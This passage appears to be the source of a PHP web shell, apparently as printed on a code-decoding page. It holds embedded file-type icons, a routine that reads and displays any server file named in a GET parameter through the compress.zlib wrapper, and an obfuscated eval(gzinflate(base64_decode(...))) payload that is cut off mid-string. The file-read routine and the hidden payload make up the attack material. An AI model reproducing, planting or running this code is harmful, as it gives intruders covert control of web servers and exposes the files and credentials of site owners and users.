"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else {
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
echo "</center>";
}
exit;
}
echo "</td></tr></table>
";
?>
<?php
if(isset($_GET['file'])) {
$test='';
$temp=tempnam($test, 'cx');
$file=$_GET['file'];
$get=htmlspecialchars($file);
echo 'Trying To Get File <font color=#000099><b>'.$get.'</b></font><br>';
if(copy("compress.zlib://".$file, $temp)){
$fichier = fopen($temp, 'r');
$action = fread($fichier, filesize($temp));
fclose($fichier);
$source=htmlspecialchars($action);
echo '<b>Start '.$get.'</b><br><font color=white><pre>'.$source.'</pre></font><br><b>Fin <font color=#000099>'.$get.'</font></b>';
unlink($temp);
} else
echo '<font color=red><center>Sorry... File <b>'.htmlspecialchars($file).'</b> doesn\'t exist or you don\'t have access.</center></font>';
}
?>
</TABLE>
</body></html>
Did this file decode correctly?
Original Code
error_reporting(0);
@set_time_limit(0);
eval(gzinflate(base64_decode('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